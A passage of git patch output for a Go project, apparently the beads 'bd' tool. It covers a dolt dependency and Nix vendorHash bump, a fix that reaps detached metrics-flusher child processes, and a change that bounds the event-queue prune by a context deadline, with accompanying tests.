2026-07-15) predates both commits. Minimal-churn pin: do not bump to today's dolt tip. go mod tidy did not force a later version. This is a mitigation, not a root-cause fix: backup file+manifest publish remains non-atomic, and backups already in the manifest-ahead state are not repaired by this change. Mitigates #4070 * fix(nix): update vendorHash for the dolt/go bump The go.mod/go.sum bump in this PR invalidates the pinned vendorHash, so `nix build .#default` fails with a fixed-output hash mismatch. Update it to the value CI computed: specified: sha256-D+KDoLFJHpt9D9rCrtE3NMfL4fgK7UxpdKlCxp5yz5Y= got: sha256-wDU1tw/4t2CetwQl4+zUhlDI70dSasLLI2Gy66ZyhQQ= The repo documents this coupling in .github/dependabot.yml; the existing "Update vendorHash for dependabot Go bumps" workflow only fires for dependabot PRs, so a manual bump is needed here. --- default.nix | 2 +- go.mod | 8 ++++---- go.sum | 16 ++++++++-------- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/default.nix b/default.nix index c576dc90e..f7a78c90e 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-D+KDoLFJHpt9D9rCrtE3NMfL4fgK7UxpdKlCxp5yz5Y="; + vendorHash = "sha256-wDU1tw/4t2CetwQl4+zUhlDI70dSasLLI2Gy66ZyhQQ="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index b9d37238d..21f6d7a1b 100644 --- a/go.mod +++ b/go.mod @@ -148,16 +148,16 @@ require ( github.com/docker/go-connections v0.6.0 // indirect github.com/docker/go-units v0.5.0 // indirect github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 // indirect - github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767 - github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 // indirect + github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741 + github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4 // indirect github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 // indirect github.com/dolthub/fslock v0.0.5 // indirect github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83 // indirect - github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3 + github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809 github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect - github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8 // indirect + github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.10.0 // indirect github.com/edsrzf/mmap-go v1.2.0 // indirect diff --git a/go.sum b/go.sum index 9e369bf99..e32c4a0b8 100644 --- a/go.sum +++ b/go.sum @@ -435,30 +435,30 @@ github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 h1:I github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12/go.mod h1:rN7X8BHwkjPcfMQQ2QTAq/xM3leUSGLfb+1Js7Y6TVo= github.com/dolthub/dolt-mcp v0.3.4 h1:AyG5cw+fNWXDHXujtQnqUPZrpWtPg6FN6yYtjv1pP44= github.com/dolthub/dolt-mcp v0.3.4/go.mod h1:bCZ7KHvDYs+M0e+ySgmGiNvLhcwsN7bbf5YCyillLrk= -github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767 h1:RSO4YZ5xuZ2EnHv813q2q+QpEqDW1ugjRepPXyDvb7s= -github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767/go.mod h1:DXkKITEIpR85Ta86AyjAXYeTULr/tRylidxxy95eraI= +github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741 h1:z+Disx4RJn0dxaYSzcp8pbiXddi3dpIoUJaMtVa/iBE= +github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741/go.mod h1:houDkPceGRjDBdaDsfym5OQUB4465mBUnPvSxMOPrPo= github.com/dolthub/driver/v2 v2.2.0 h1:Qm9BhvvKNmeTDF6kZdDkdLe62CF1W6GrCA3ZDRx/tlk= github.com/dolthub/driver/v2 v2.2.0/go.mod h1:Ngki9vM88/sqin1RKfUt/9Ex8DmoePtHgY7d4+YoolU= github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a h1:qNecLF0XIN1BD0RfS/UmlN8ObC3G7bFUJtEyqJeBea4= github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a/go.mod h1:eHUkm69YMO2/v7bzwwYCEkd+3Xu7+KUpP7jFWAbpDlM= -github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 h1:JShhbqMw26nKx3pqqu/cFxOpzBkN+4elVhzuUfgDw2k= -github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69/go.mod h1:SSLraQS/jGLYFgff3vuZ+JbVUct6vyEeMzjLBqWqoyM= +github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4 h1:0mg9QEFdkkBwJMxvz1tCjHYmfG2iIC6aShj1InDq9/M= +github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4/go.mod h1:SSLraQS/jGLYFgff3vuZ+JbVUct6vyEeMzjLBqWqoyM= github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 h1:u3PMzfF8RkKd3lB9pZ2bfn0qEG+1Gms9599cr0REMww= github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2/go.mod h1:mIEZOHnFx4ZMQeawhw9rhsj+0zwQj7adVsnBX7t+eKY= github.com/dolthub/fslock v0.0.5 h1:QoXhBhgY1oumHE26qyE7tgmXUT8qjJwxsIzo54O/B/k= github.com/dolthub/fslock v0.0.5/go.mod h1:sdofYYqE0D79zNZyB4/kmlnsQOVap1C2yByjGKSirEM= github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83 h1:FEMjCGEroDnY/BXyAffVZxUpXhP2GpoUJyyq5KaLn8c= github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83/go.mod h1:F3cnm+vMRK1HaU6+rNqQrOCyR03HHhR1GWG2gnPOqaE= -github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3 h1:HdPnbDFCkxyEU1zDHVPcHq8aWFkar3fIz9I9Wz5cC0E= -github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3/go.mod h1:AnD2jKQZCf09sM2JhV/cTEtsoEhPNg6pVWjRCBox4Zw= +github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809 h1:c+S3O08LgGS+czU/CuN+/pOKMri5F6kxajoWrTyrE1s= +github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809/go.mod h1:9GLxpglhedopzqBGpW0PGrw7UlwG5kBIOepE2QfTQ1s= github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 h1:OAsXLAPL4du6tfbBgK0xXHZkOlos63RdKYS3Sgw/dfI= github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63/go.mod h1:lV7lUeuDhH5thVGDCKXbatwKy2KW80L4rMT46n+Y2/Q= github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 h1:oIW9HwuWrhxv+4HZxA+QQSKHLqWFyXZ2FmNjUYwkdiM= github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037/go.mod h1:ehexgi1mPxRTk0Mok/pADALuHbvATulTh6gzr7NzZto= github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 h1:bMGS25NWAGTEtT5tOBsCuCrlYnLRKpbJVJkDbrTRhwQ= github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71/go.mod h1:2/2zjLQ/JOOSbbSboojeg+cAwcRV0fDLzIiWch/lhqI= -github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8 h1:zmKLyRCTiNZnizO++sNXP1QW2bxLE2Y+WJAdu/hcu6s= -github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8/go.mod h1:5SVEJgAhw5nnQUFnGgKI1Svqes1Mw+zKUsalyxmOuG0= +github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 h1:gvOpHisi0CbG3hixdGulNQdXy3V7+AWxe37kGBgTmRI= +github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7/go.mod h1:5SVEJgAhw5nnQUFnGgKI1Svqes1Mw+zKUsalyxmOuG0= github.com/dprotaso/go-yit v0.0.0-20191028211022-135eb7262960/go.mod h1:9HQzr9D/0PGwMEbC3d5AB7oi67+h4TsQqItC1GVYG58= github.com/dprotaso/go-yit v0.0.0-20220510233725-9ba8df137936 h1:PRxIJD8XjimM5aTknUK9w6DHLDox2r2M3DI4i2pnd3w= github.com/dprotaso/go-yit v0.0.0-20220510233725-9ba8df137936/go.mod h1:ttYvX5qlB+mlV1okblJqcSMtR4c52UKxDiX9GRBS8+Q= From a3b003eba886d6964a312323bc3595541f0a0c8f Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:10:35 -0700 Subject: [PATCH 024/624] fix(metrics): reap detached send-metrics flush children (#5933) cmd.Start() + Process.Release() violated the os/exec contract (Wait is required after a successful Start), leaving each exited send-metrics child as a zombie for the parent's remaining lifetime. In shipped code every flusher spawn sits in a process-exit tail, so that window is typically milliseconds; any future long-lived caller would accumulate zombies unboundedly. Wait in a background goroutine instead. A parent that exits before Wait completes leaves the child to init, which reaps it. This addresses the missing wait/reap half of the reporter's hypothesis in #5900. It does not explain or fix the live, CPU-consuming flusher children and eventsData growth reported there, so the issue should stay open. Refs #5900 --- internal/metrics/spawn.go | 27 ++++++++- internal/metrics/spawn_reap_test.go | 89 +++++++++++++++++++++++++++++ 2 files changed, 114 insertions(+), 2 deletions(-) create mode 100644 internal/metrics/spawn_reap_test.go diff --git a/internal/metrics/spawn.go b/internal/metrics/spawn.go index 267aaab87..1f508d803 100644 --- a/internal/metrics/spawn.go +++ b/internal/metrics/spawn.go @@ -189,10 +189,33 @@ func MaybeSpawnFlusher() { // env + user-global config (see resolveMetricsEndpoint in cmd/bd) and mark // the child as the flusher so it cannot recurse. cmd.Env = flusherChildEnv(os.Environ(), Endpoint()) - if err := cmd.Start(); err != nil { + if _, err := startDetached(cmd); err != nil { return } - _ = cmd.Process.Release() +} + +// startDetached starts cmd and reaps it in a background goroutine. The +// returned pid is captured before any handle release so callers can observe +// the child even if a future change clears cmd.Process.Pid. +// +// os/exec requires Wait after a successful Start. The previous +// cmd.Process.Release() path dropped the Go handle without waitpid, so an +// exited child stayed a zombie for the parent's remaining lifetime. In +// current shipped code every flusher spawn happens in a process-exit tail +// (see CloseAndFlush callers), so that window is typically milliseconds — +// but any long-lived caller added later would accumulate zombies +// unboundedly. This addresses the missing-reap half of GH#5900's +// hypothesis only; the live, CPU-consuming children reported there are a +// separate concern. A parent that exits before Wait completes leaves the +// child to init, which reaps it. Either way the child is never left as Z +// under this process. +func startDetached(cmd *exec.Cmd) (int, error) { + if err := cmd.Start(); err != nil { + return 0, err + } + pid := cmd.Process.Pid + go func() { _ = cmd.Wait() }() + return pid, nil } // flusherChildEnv returns a copy of env with the metrics endpoint pinned to diff --git a/internal/metrics/spawn_reap_test.go b/internal/metrics/spawn_reap_test.go new file mode 100644 index 000000000..91b58caea --- /dev/null +++ b/internal/metrics/spawn_reap_test.go @@ -0,0 +1,89 @@ +package metrics + +import ( + "os" + "os/exec" + "runtime" + "strconv" + "strings" + "testing" + "time" +) + +// TestStartDetachedReapsExitedChild is the GH#5900 regression: a child that +// exits while the parent stays alive must be waitpid'd, not left as a zombie. +// The helper re-execs this test binary and exits immediately; startDetached +// must reap it so `ps` never reports STAT Z under this process. +func TestStartDetachedReapsExitedChild(t *testing.T) { + if os.Getenv("BD_TEST_FLUSHER_HELPER") == "1" { + // Stay alive long enough for the parent to observe a live pid. + // An instant-exit helper can vanish from `ps` before the first + // poll, which looks identical to a successful reap and would + // false-pass the old cmd.Process.Release() path. + time.Sleep(500 * time.Millisecond) + os.Exit(0) + } + + cmd := exec.Command(os.Args[0], "-test.run=^TestStartDetachedReapsExitedChild$") //nolint:gosec // test binary re-exec + cmd.Env = append(os.Environ(), "BD_TEST_FLUSHER_HELPER=1") + cmd.Stdin = nil + cmd.Stdout = nil + cmd.Stderr = nil + pid, err := startDetached(cmd) + if err != nil { + t.Fatalf("startDetached: %v", err) + } + if pid <= 0 { + t.Fatalf("startDetached pid = %d, want > 0", pid) + } + + if runtime.GOOS == "windows" { + // Zombie STAT is a Unix process-table property. Still start the + // child so startDetached's Wait path is exercised, then return. + time.Sleep(400 * time.Millisecond) + return + } + + seenLive := false + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + st, alive := unixProcStat(pid) + if strings.Contains(st, "Z") { + t.Fatalf("child pid %d became a zombie (stat=%q); startDetached did not reap", pid, st) + } + if alive { + seenLive = true + time.Sleep(20 * time.Millisecond) + continue + } + if !seenLive { + time.Sleep(20 * time.Millisecond) + continue + } + return + } + st, alive := unixProcStat(pid) + if !seenLive { + t.Fatalf("child pid %d never appeared in ps (alive=%v stat=%q)", pid, alive, st) + } + t.Fatalf("child pid %d still present after 3s (alive=%v stat=%q); startDetached did not reap", pid, alive, st) +} + +// unixProcStat returns the `ps` STAT field for pid. alive is false when ps +// finds no such process (reaped and gone). On Windows, ps is unavailable so +// this reports not-alive after a short grace; the Wait goroutine is still +// the resource-release path under test. +func unixProcStat(pid int) (stat string, alive bool) { + if runtime.GOOS == "windows" { + return "", false + } + out, err := exec.Command("ps", "-o", "stat=", "-p", strconv.Itoa(pid)).CombinedOutput() + if err != nil { + return "", false + } + st := strings.TrimSpace(string(out)) + if st == "" || strings.HasPrefix(st, "STAT") { + return "", false + } + return st, true +} From 85eba5c177cdb1530fd0f1cbb3628d3858200e04 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:10:46 -0700 Subject: [PATCH 025/624] fix(metrics): bound the send-metrics prune by the child's flush budget (#5937) RunSendMetrics advertises a 30s flushTimeout for the detached child, but built that context only after PruneQueue had already run. The prune is the expensive half on a backed-up queue -- os.ReadDir materializes and name-sorts every dirent, then de.Info() stats each one -- so the half the budget was meant to cover ran with no deadline at all. A machine that accumulated a large ~/.beads/eventsData spool before the 7d/10k/64MiB cap landed (#5660) therefore still gets long-lived children: the advertised bound was decorative. Give the prune a flushTimeout context at the top of RunSendMetrics, and give the flush its own fresh one rather than the prune's remainder: a shared budget would let a slow-but-successful prune hand the upload an already-spent context, so the child would prune, upload nothing and exit 1 -- and a prune slow enough to do that is exactly what a backed-up spool produces. The prune now walks the directory in 64-entry chunks -- the idiom hasQueuedEvents already uses here, and for the same reason -- checking the budget once per chunk. TTL deletions made before the budget expires stand. The oldest-first cap pass is skipped whenever the listing is partial, whether the walk stopped on the deadline or on a non-EOF read error: a cap is a decision over the whole queue, and a prefix cannot make it (the os.ReadDir implementation failed closed here too). One deliberate exception keeps the bound from disabling the drains it was added to protect: a pass that has deleted nothing when its budget expires finishes its listing. On a queue that is over the caps with nothing past TTL -- the young oversized spool #5660's caps exist for -- stopping there would apply neither drain, and since the next child reopens the directory at offset 0 it would walk the same prefix and stop in the same place forever. That pass can outrun flushTimeout; the walk is otherwise bounded. Behavior on a healthy queue is unchanged; the existing prune tests pass untouched apart from the new context argument. Refs #5871 --- internal/metrics/flusher.go | 31 ++++- internal/metrics/metrics_test.go | 42 ++++++ internal/metrics/prune.go | 133 ++++++++++++++---- internal/metrics/prune_test.go | 232 ++++++++++++++++++++++++++++++- internal/metrics/spawn.go | 2 +- 5 files changed, 399 insertions(+), 41 deletions(-) diff --git a/internal/metrics/flusher.go b/internal/metrics/flusher.go index 188c158b1..ef548ad04 100644 --- a/internal/metrics/flusher.go +++ b/internal/metrics/flusher.go @@ -16,6 +16,10 @@ const ( flushTimeout = 30 * time.Second ) +// pruneQueueFn is PruneQueue behind a seam so tests can assert the prune is +// handed the child's real budget — the property GH#5871 turned on. +var pruneQueueFn = PruneQueue + func RunSendMetrics() int { dir, err := DataDir() if err != nil { @@ -23,11 +27,23 @@ func RunSendMetrics() int { return 1 } + // The prune used to run before any context existed, so the expensive half + // of the child — a stat per queued file — had no deadline at all, and + // children on a backed-up spool were observed alive for ~15 minutes + // against this 30s advertised bound (GH#5871). Giving it a budget bounds + // the part that ran away. It does not make the child's total wall clock + // flushTimeout: the prune may still overrun (see PruneQueue, which + // finishes its listing when stopping would leave the queue unbounded), + // eventkit's own flush prologue lists the directory unbounded, and the + // prune's cap-unlink pass runs after the budget check that admitted it. + pruneCtx, cancelPrune := context.WithTimeout(context.Background(), flushTimeout) + defer cancelPrune() + // Bound the queue before flushing: TTL out stale batches and orphaned // emitter temps, cap the rest drop-oldest (bd-ulfod: an unbounded queue // reached 149k files / 1.1GB when emission outran the throttled drain). // Out-of-band by construction — this child is already detached. - if dropped, freed := PruneQueue(dir, time.Now()); dropped > 0 { + if dropped, freed := pruneQueueFn(pruneCtx, dir, time.Now()); dropped > 0 { fmt.Fprintf(os.Stderr, "send-metrics: pruned %d queued event file(s), freed %.1f MB\n", dropped, float64(freed)/(1<<20)) } @@ -47,10 +63,17 @@ func RunSendMetrics() int { return 1 } + // The upload gets its own full budget rather than the prune's remainder. + // Sharing one would let a slow-but-successful prune hand the flush an + // already-spent context, so the child would prune, upload nothing, and + // exit 1 — and since a prune slow enough to do that is exactly what a + // backed-up spool produces, the uploads would never resume. Two budgets + // keep the two halves independent: neither can starve the other. + flushCtx, cancelFlush := context.WithTimeout(context.Background(), flushTimeout) + defer cancelFlush() + flusher := eventkit.NewFileFlusher(dir, ga) - ctx, cancel := context.WithTimeout(context.Background(), flushTimeout) - defer cancel() - if err := flusher.Flush(ctx); err != nil { + if err := flusher.Flush(flushCtx); err != nil { fmt.Fprintf(os.Stderr, "send-metrics: flush: %v\n", err) return 1 } diff --git a/internal/metrics/metrics_test.go b/internal/metrics/metrics_test.go index 0df30d060..51e5736a0 100644 --- a/internal/metrics/metrics_test.go +++ b/internal/metrics/metrics_test.go @@ -286,3 +286,45 @@ func envContains(env []string, want string) bool { } return false } + +// TestRunSendMetricsPrunesUnderFlushDeadline is the GH#5871 ordering +// regression. RunSendMetrics advertises a flushTimeout budget for the detached +// child, but built the context only after the prune, so the prune — the +// expensive half on a backed-up spool — ran with no deadline at all and the +// advertised budget bounded nothing. +func TestRunSendMetricsPrunesUnderFlushDeadline(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + if err := os.MkdirAll(filepath.Join(home, ".beads", "eventsData"), 0o750); err != nil { + t.Fatalf("mkdir eventsData: %v", err) + } + + var called, hasDeadline bool + var budget time.Duration + orig := pruneQueueFn + t.Cleanup(func() { pruneQueueFn = orig }) + pruneQueueFn = func(ctx context.Context, dir string, now time.Time) (int, int64) { + called = true + if dl, ok := ctx.Deadline(); ok { + hasDeadline = true + budget = time.Until(dl) + } + return 0, 0 + } + + if _, err := Init("0.0.0-test", false, ""); err != nil { + t.Fatalf("Init: %v", err) + } + if code := RunSendMetrics(); code != 0 { + t.Fatalf("RunSendMetrics() = %d, want 0", code) + } + if !called { + t.Fatal("RunSendMetrics did not prune") + } + if !hasDeadline { + t.Fatal("RunSendMetrics ran the prune with a deadline-free context: the advertised flushTimeout budget does not bound the child's expensive half") + } + if budget <= 0 || budget > flushTimeout { + t.Errorf("prune context budget = %v, want (0, %v]", budget, flushTimeout) + } +} diff --git a/internal/metrics/prune.go b/internal/metrics/prune.go index fe3bebddb..c1e22119c 100644 --- a/internal/metrics/prune.go +++ b/internal/metrics/prune.go @@ -1,6 +1,9 @@ package metrics import ( + "context" + "errors" + "io" "os" "path/filepath" "sort" @@ -30,6 +33,12 @@ const ( // one forever: no rename will come, and the flusher and the pending-check // both ignore non-.evtq names, so only the prune ever reclaims them. writeTempPrefix = ".write-" + + // pruneChunkSize is how many directory entries the prune walks between + // budget checks. It matches the chunk hasQueuedEvents uses: big enough + // that the per-chunk check is noise, small enough that an expired + // deadline is honored within one chunk of stats. + pruneChunkSize = 64 ) // PruneQueue bounds the queued-event backlog in dir before a flush: event @@ -47,8 +56,18 @@ const ( // double-sent, the backlog just waits one more spawn interval. ENOENT // tolerance in eventkit's flush loop is the upstream fix (gastownhall/beads // GH#5649 lane). -func PruneQueue(dir string, now time.Time) (dropped int, freed int64) { - return pruneQueue(dir, now, pruneTTL, maxQueueFiles, maxQueueBytes) +// +// The scan is bounded by ctx: it reads the directory in chunks and, once the +// context is done, abandons the walk and keeps whatever it already deleted +// (GH#5871 — the child advertises a flushTimeout budget, and a spool large +// enough to matter is exactly the one whose per-entry stat walk outruns it). +// The one exception is a pass that has deleted nothing when its budget runs +// out: it finishes the listing anyway, because abandoning it there would also +// skip the oldest-first caps and leave the queue with no bound applied at all +// (see the walk below). That pass can outrun ctx; the walk is otherwise the +// bounded half of a child that used to run ~15 minutes against a 30s budget. +func PruneQueue(ctx context.Context, dir string, now time.Time) (dropped int, freed int64) { + return pruneQueue(ctx, dir, now, pruneTTL, maxQueueFiles, maxQueueBytes) } // queueEntry is one prune-eligible file in the queue directory. @@ -58,47 +77,103 @@ type queueEntry struct { size int64 } +// dirChunkReader is the chunked-listing half of *os.File. It is a seam so a +// test can inject a listing that fails part way through: a mid-listing read +// error leaves a PARTIAL prefix, which must never reach the oldest-first cap +// pass below. +type dirChunkReader interface { + ReadDir(n int) ([]os.DirEntry, error) +} + // pruneQueue is PruneQueue with the knobs exposed for tests. -func pruneQueue(dir string, now time.Time, ttl time.Duration, maxFiles int, maxBytes int64) (dropped int, freed int64) { - dirents, err := os.ReadDir(dir) +func pruneQueue(ctx context.Context, dir string, now time.Time, ttl time.Duration, maxFiles int, maxBytes int64) (dropped int, freed int64) { + f, err := os.Open(dir) // #nosec G304 -- dir is the metrics DataDir, not user input if err != nil { // Missing/unreadable queue dir: nothing to prune. return 0, 0 } + defer f.Close() + return pruneQueueFrom(ctx, f, dir, now, ttl, maxFiles, maxBytes) +} +// pruneQueueFrom is pruneQueue over an already-opened listing of dir. +func pruneQueueFrom(ctx context.Context, r dirChunkReader, dir string, now time.Time, ttl time.Duration, maxFiles int, maxBytes int64) (dropped int, freed int64) { var live []queueEntry // surviving .evtq batches, candidates for the caps var liveBytes int64 - for _, de := range dirents { - if de.IsDir() { - continue + truncated := false + for chunk := 0; ; chunk++ { + // One budget check per chunk, so the worst-case overrun is one + // chunk of stats rather than the whole spool. os.ReadDir is not + // usable here: it reads AND name-sorts every entry before the caller + // sees one, which on a backed-up queue is precisely the unbounded + // prologue this bounds (same reason hasQueuedEvents streams). + // + // Out of budget is not automatically "stop". A truncated walk cannot + // run the cap pass below, so a pass that also deleted nothing has + // applied NEITHER drain — and since the next child reopens the + // directory at offset zero, it would walk the same young prefix and + // stop in the same place, leaving the file/byte caps inert forever + // against exactly the young oversized spool they were added for + // (GH#5660). So the deadline stops the walk only once there is TTL + // progress to keep (or before the first chunk, where the caller + // handed over no budget at all and the queue may not even be large). + // The cost is disclosed: on a big all-young queue this child runs + // past its budget to the end of the listing, because that is the + // only pass in which the caps can fire. + if ctx.Err() != nil && (chunk == 0 || dropped > 0) { + truncated = true + break } - name := de.Name() - isBatch := filepath.Ext(name) == queuedEventExt - isOrphanTemp := strings.HasPrefix(name, writeTempPrefix) - if !isBatch && !isOrphanTemp { - // Never touch the throttle marker, the flusher lock, or anything - // else that is not queue payload. - continue - } - fi, err := de.Info() - if err != nil { - // Vanished between ReadDir and Info (a concurrent flusher child - // uploads-and-deletes): already gone, nothing to do. - continue - } - if now.Sub(fi.ModTime()) > ttl { - if remove(filepath.Join(dir, name)) { - dropped++ - freed += fi.Size() + dirents, readErr := r.ReadDir(pruneChunkSize) + for _, de := range dirents { + if de.IsDir() { + continue + } + name := de.Name() + isBatch := filepath.Ext(name) == queuedEventExt + isOrphanTemp := strings.HasPrefix(name, writeTempPrefix) + if !isBatch && !isOrphanTemp { + // Never touch the throttle marker, the flusher lock, or anything + // else that is not queue payload. + continue + } + fi, err := de.Info() + if err != nil { + // Vanished between ReadDir and Info (a concurrent flusher child + // uploads-and-deletes): already gone, nothing to do. + continue + } + if now.Sub(fi.ModTime()) > ttl { + if remove(filepath.Join(dir, name)) { + dropped++ + freed += fi.Size() + } + continue + } + if isBatch { + live = append(live, queueEntry{filepath.Join(dir, name), fi.ModTime(), fi.Size()}) + liveBytes += fi.Size() } - continue } - if isBatch { - live = append(live, queueEntry{filepath.Join(dir, name), fi.ModTime(), fi.Size()}) - liveBytes += fi.Size() + if readErr != nil { + // io.EOF means the whole directory was listed and the caps below + // may run. Anything else ended the listing early, so what we + // hold is a prefix, not the queue: the cap pass must not see it. + if !errors.Is(readErr, io.EOF) { + truncated = true + } + break } } + if truncated { + // The caps are an oldest-first decision over the WHOLE queue; a + // partial listing cannot make it correctly, and guessing from a + // prefix would drop batches that are not actually the oldest. The + // TTL deletions above already stand. + return dropped, freed + } + if len(live) <= maxFiles && liveBytes <= maxBytes { return dropped, freed } diff --git a/internal/metrics/prune_test.go b/internal/metrics/prune_test.go index 9c26abd9d..b08217211 100644 --- a/internal/metrics/prune_test.go +++ b/internal/metrics/prune_test.go @@ -1,6 +1,9 @@ package metrics import ( + "context" + "errors" + "fmt" "os" "path/filepath" "testing" @@ -41,7 +44,7 @@ func TestPruneTTLDropsStaleBatchesAndOrphanTemps(t *testing.T) { writeQueueFile(t, dir, "young.evtq", 10, now.Add(-time.Hour)) writeQueueFile(t, dir, ".write-live", 10, now.Add(-time.Minute)) - dropped, freed := pruneQueue(dir, now, 7*24*time.Hour, 100, 1<<20) + dropped, freed := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 100, 1<<20) if dropped != 2 || freed != 20 { t.Fatalf("dropped=%d freed=%d, want 2/20", dropped, freed) } @@ -62,7 +65,7 @@ func TestPruneCountCapDropsOldestFirst(t *testing.T) { writeQueueFile(t, dir, "q"+string(rune('0'+i))+".evtq", 10, now.Add(-time.Duration(5-i)*time.Minute)) } - dropped, _ := pruneQueue(dir, now, 7*24*time.Hour, 3, 1<<20) + dropped, _ := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 3, 1<<20) if dropped != 2 { t.Fatalf("dropped=%d, want 2", dropped) } @@ -87,7 +90,7 @@ func TestPruneByteCapDropsOldestFirst(t *testing.T) { writeQueueFile(t, dir, "c.evtq", 400, now.Add(-time.Minute)) // 1000-byte cap: dropping only "a" (oldest) brings the total to 800. - dropped, freed := pruneQueue(dir, now, 7*24*time.Hour, 100, 1000) + dropped, freed := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 100, 1000) if dropped != 1 || freed != 400 { t.Fatalf("dropped=%d freed=%d, want 1/400", dropped, freed) } @@ -105,7 +108,7 @@ func TestPruneNeverTouchesMarkerOrLock(t *testing.T) { writeQueueFile(t, dir, "eventkit.lock", 1, ancient) writeQueueFile(t, dir, "unrelated.txt", 1, ancient) - dropped, _ := pruneQueue(dir, now, 7*24*time.Hour, 0, 0) + dropped, _ := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 0, 0) if dropped != 0 { t.Fatalf("dropped=%d, want 0", dropped) } @@ -131,7 +134,7 @@ func TestPruneCapNeverTakesYoungWriteTemps(t *testing.T) { writeQueueFile(t, dir, "q"+string(rune('0'+i))+".evtq", 10, now.Add(-time.Duration(10-i)*time.Hour)) } - dropped, _ := pruneQueue(dir, now, 7*24*time.Hour, 1, 1<<20) + dropped, _ := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 1, 1<<20) if dropped != 3 { t.Fatalf("dropped=%d, want 3 (oldest batches only)", dropped) } @@ -145,7 +148,7 @@ func TestPruneCapNeverTakesYoungWriteTemps(t *testing.T) { } func TestPruneMissingDirIsNoop(t *testing.T) { - dropped, freed := pruneQueue(filepath.Join(t.TempDir(), "nope"), time.Now(), time.Hour, 1, 1) + dropped, freed := pruneQueue(context.Background(), filepath.Join(t.TempDir(), "nope"), time.Now(), time.Hour, 1, 1) if dropped != 0 || freed != 0 { t.Fatalf("dropped=%d freed=%d, want 0/0", dropped, freed) } @@ -155,7 +158,7 @@ func TestPruneWithinCapsIsNoop(t *testing.T) { dir := t.TempDir() now := time.Now() writeQueueFile(t, dir, "a.evtq", 10, now.Add(-time.Minute)) - dropped, _ := pruneQueue(dir, now, 7*24*time.Hour, 10, 1<<20) + dropped, _ := pruneQueue(context.Background(), dir, now, 7*24*time.Hour, 10, 1<<20) if dropped != 0 { t.Fatalf("dropped=%d, want 0", dropped) } @@ -163,3 +166,218 @@ func TestPruneWithinCapsIsNoop(t *testing.T) { t.Fatal("in-cap file pruned") } } + +// ctxExpiringAfter is a deadline context whose deadline falls part way through +// the scan. It reports live for the first n consultations and expired from +// then on, which makes "the budget ran out after n chunks" deterministic +// without a timing race: pruneQueue consults the context once per directory +// chunk, so n chunks are processed. +// +// Expiry flips every part of the context interface together — Err returns +// DeadlineExceeded, Done is closed, Deadline moves into the past — and either +// Err or Done counts as a consultation. A partial fake (Err only) would let a +// future scan that waits on Done pass this test while production still walks +// the whole spool. Not safe for concurrent use; the prune walk is sequential. +type ctxExpiringAfter struct { + context.Context + state *expiryState +} + +type expiryState struct { + remaining int + done chan struct{} + expiredAt time.Time 